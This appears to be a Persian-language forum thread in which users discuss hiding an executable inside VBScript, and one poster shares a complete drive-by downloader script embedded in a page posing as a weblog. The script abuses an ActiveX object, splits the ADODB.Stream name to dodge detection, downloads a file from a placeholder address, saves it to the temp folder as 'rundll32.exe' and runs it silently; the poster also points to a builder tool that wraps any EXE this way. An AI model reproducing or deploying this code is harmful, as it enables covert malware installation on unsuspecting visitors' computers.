ايران ويج

نسخه‌ی کامل: چه گیری افتادیم
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
[/quote]
ببينم واقعا چه جوري ميشه اينکارو کرد؟! خيلي جالبه که توي vbs يک exe جا بدي...
[/quote]

vbs يه زبان اسكريپتي هستش . تنها كافيه كه كمي خلاقي داشته - يه كد جاوا هم قبلا ديده بودم ولي ندارم فعلا- پيدا كردم اونم مي زارم
دوستان اگه خواستا كه تست بكنن تو يك فايل تكست كد ها رو كپي كنن و با پسوند .vbs سيو كنند.

اينم يه كد ديگه كه كارش همينه

<script language="VBScript">
on error resume next
dl = " آدرس فایل "
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="rundll32.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<p>Welcome to my weblog!<br>
</p>
<p></p>
<p>&nbsp;</p>
این هم یه برنامه که خودش همه کارا رو میکنه فقط کافیه exe بدی پسوند رو هم بدی (exe یا vbs) بعد خودش برات میسازه
دانلود
از operaهم میشه استفاده کرد چون script javascirpt
صفحه‌ها: 1 2